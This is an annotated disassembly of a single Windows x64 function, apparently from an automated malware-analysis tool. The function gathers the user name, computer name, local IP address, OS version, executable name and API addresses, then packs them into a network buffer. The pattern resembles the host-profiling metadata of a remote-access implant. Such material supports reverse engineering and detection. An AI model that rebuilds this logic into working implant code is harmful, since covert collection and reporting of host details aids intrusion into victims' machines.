Function at 0x14000a850
Capabilities:
Get hostname
Get session user name
Initialize winsock library
Resolve dns
Terminate process

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
sub rsp, 0x1d0
mov rbx, rcx
mov ecx, 0x18
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
xor esi, esi
mov rdi, rax
test rax, rax
jne 0x14000a87f
mov edi, esi
jmp 0x14000a8bc
mov ecx, 0x494
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbp, rax
test rax, rax
jne 0x14000a897
mov rdi, rsi
jmp 0x14000a8bc
xor edx, edx
mov r8d, 0x494
mov rcx, rbp
call fcn.140021acb
mov qword [rdi], rbp
mov qword [rdi + 8], rbp
mov dword [rdi + 0x10], 0x494
mov dword [rdi + 0x14], 0x494
mov edx, dword [rdi + 0x10]
mov qword [rsp + 0x200], r14
mov qword [rsp + 0x210], r15
cmp edx, 0x94
jge 0x14000a8eb
mov r15, rsi
mov rbp, rsi
mov r12, rsi
mov r13, rsi
mov r14, rsi
jmp 0x14000a9ba
mov rcx, qword [rdi + 8]
lea r8d, [rdx - 0x94]
mov dword [rdi + 0x10], r8d
mov r15, rcx
lea rax, [rcx + 0x94]
mov qword [rdi + 8], rax
cmp r8d, 0x100
jge 0x14000a922
mov rbp, rsi
mov r12, rsi
mov r13, rsi
mov r14, rsi
jmp 0x14000a9ba
mov rdx, rax
add r8d, 0xffffff00
add rax, 0x100
mov dword [rdi + 0x10], r8d
mov qword [rdi + 8], rax
mov rbp, rdx
cmp r8d, 0x100
jge 0x14000a951
mov r12, rsi
mov r13, rsi
mov r14, rsi
jmp 0x14000a9ba
mov r9, rax
add r8d, 0xffffff00
add rax, 0x100
mov dword [rdi + 0x10], r8d
mov qword [rdi + 8], rax
mov r12, r9
cmp r8d, 0x100
jge 0x14000a97d
mov r13, rsi
mov r14, rsi
jmp 0x14000a9ba
add r8d, 0xffffff00
mov r13, rax
add rax, 0x100
mov dword [rdi + 0x10], r8d
mov qword [rdi + 8], rax
cmp r8d, 0x100
jge 0x14000a9a3
mov r14, rsi
jmp 0x14000a9ba
mov r14, rax
add rax, 0x100
mov qword [rdi + 8], rax
lea eax, [r8 - 0x100]
mov dword [rdi + 0x10], eax
lea rdx, [rsp + 0x208]
mov dword [rsp + 0x208], 0x100
mov rcx, r13
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea rdx, [rsp + 0x208]
mov dword [rsp + 0x208], 0x100
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
cmp dword [0x140037a18], 1
je 0x14000aa2b
mov ecx, 0x202
lea rdx, [rsp + 0x30]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jns 0x14000aa21
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov dword [0x140037a18], 1
mov edx, 0x100
mov rcx, r14
call qword [sym.imp.WS2_32.dll_gethostname]
test eax, eax
jne 0x14000aa60
mov rcx, r14
call qword [sym.imp.WS2_32.dll_gethostbyname]
test rax, rax
je 0x14000aa60
cmp word [rax + 0x10], 2
jne 0x14000aa60
mov rax, qword [rax + 0x18]
mov rcx, qword [rax]
test rcx, rcx
je 0x14000aa60
mov esi, dword [rcx]
mov r8d, 0x100
mov rdx, r14
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x14000aa92
mov edx, 0x5c
mov rcx, r14
call qword [sym.imp.VCRUNTIME140.dll_strrchr]
test rax, rax
je 0x14000aa92
lea r14, [rax + 1]
cmp rax, 0xffffffffffffffff
jne 0x14000aa99
lea r14, [0x14002930f]
mov rcx, r15
mov dword [r15], __WSAFDIsSet
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
movsxd rax, dword [rbx + 8]
mov r8d, dword [r15 + 4]
mov dword [0x140037e20], r8d
lea edx, [rax + 1]
cmp edx, dword [rbx + 0xc]
jg 0x14000aadc
mov rcx, rax
mov dword [rbx + 8], edx
mov rax, qword [rbx]
mov byte [rcx + rax], r8b
lea ecx, [rdx - 8]
call qword [sym.imp.WS2_32.dll_ntohl]
mov rcx, qword [rbx]
mov dword [rcx + 4], eax
movsxd rax, dword [rbx + 8]
movzx r8d, byte [r15 + 8]
lea edx, [rax + 1]
cmp edx, dword [rbx + 0xc]
jg 0x14000ab09
mov rcx, rax
mov dword [rbx + 8], edx
mov rax, qword [rbx]
mov byte [rcx + rax], r8b
lea ecx, [rdx - 8]
call qword [sym.imp.WS2_32.dll_ntohl]
mov rcx, qword [rbx]
mov dword [rcx + 4], eax
movzx ecx, word [r15 + 0xc]
call qword [sym.imp.WS2_32.dll_htons]
movsxd rcx, dword [rbx + 8]
lea r8d, [rcx + 2]
cmp r8d, dword [rbx + 0xc]
jg 0x14000ab40
mov rdx, rcx
mov dword [rbx + 8], r8d
mov rcx, qword [rbx]
mov word [rdx + rcx], ax
lea ecx, [r8 - 8]
call qword [sym.imp.WS2_32.dll_ntohl]
mov rcx, qword [rbx]
mov dword [rcx + 4], eax
mov rcx, qword [sym.imp.KERNEL32.dll_GetProcAddress]
shr rcx, 0x20
call qword [sym.imp.WS2_32.dll_htonl]
movsxd rcx, dword [rbx + 8]
lea r8d, [rcx + 4]
cmp r8d, dword [rbx + 0xc]
jg 0x14000ab7c
mov rdx, rcx
mov dword [rbx + 8], r8d
mov rcx, qword [rbx]
mov dword [rdx + rcx], eax
lea ecx, [r8 - 8]
call qword [sym.imp.WS2_32.dll_ntohl]
mov rcx, qword [rbx]
mov dword [rcx + 4], eax
mov ecx, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call qword [sym.imp.WS2_32.dll_htonl]
movsxd rcx, dword [rbx + 8]
lea r8d, [rcx + 4]
cmp r8d, dword [rbx + 0xc]
jg 0x14000abb3
mov rdx, rcx
mov dword [rbx + 8], r8d
mov rcx, qword [rbx]
mov dword [rdx + rcx], eax
lea ecx, [r8 - 8]
call qword [sym.imp.WS2_32.dll_ntohl]
mov rcx, qword [rbx]
mov dword [rcx + 4], eax
mov ecx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call qword [sym.imp.WS2_32.dll_htonl]
movsxd rdx, dword [rbx + 8]
lea ecx, [rdx + 4]
cmp ecx, dword [rbx + 0xc]
jg 0x14000abe7
mov r8, rdx
mov dword [rbx + 8], ecx
mov rdx, qword [rbx]
add ecx, 0xfffffff8
mov dword [r8 + rdx], eax
call qword [sym.imp.WS2_32.dll_ntohl]
mov rdx, qword [rbx]
mov dword [rdx + 4], eax
mov ecx, esi
call qword [sym.imp.WS2_32.dll_htonl]
movsxd rcx, dword [rbx + 8]
lea r10d, [rcx + 4]
cmp r10d, dword [rbx + 0xc]
jg 0x14000ac1b
mov r8, rcx
mov dword [rbx + 8], r10d
mov rcx, qword [rbx]
mov dword [r8 + rcx], eax
lea ecx, [r10 - 8]
call qword [sym.imp.WS2_32.dll_ntohl]
mov rcx, qword [rbx]
mov dword [rcx + 4], eax
mov qword [rsp + 0x28], r14
lea r8, str._s_t_s_t_s
mov r9, r12
mov qword [rsp + 0x20], r13
mov edx, 0x100
mov rcx, rbp
call fcn.140001bb0
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rax + rbp], 0
jne 0x14000ac43
mov ecx, 0x3a
cmp eax, ecx
cmovg eax, ecx
movsxd rcx, dword [rbx + 8]
lea esi, [rcx + rax]
cmp esi, dword [rbx + 0xc]
jg 0x14000ac82
add rcx, qword [rbx]
mov rdx, rbp
movsxd r8, eax
call sub.VCRUNTIME140.dll_memcpy
lea ecx, [rsi - 8]
mov dword [rbx + 8], esi
call qword [sym.imp.WS2_32.dll_ntohl]
mov rdx, qword [rbx]
mov dword [rdx + 4], eax
mov rcx, qword [rdi]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov r15, qword [rsp + 0x210]
mov r14, qword [rsp + 0x200]
mov rbx, qword [rsp + 0x218]
add rsp, 0x1d0
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret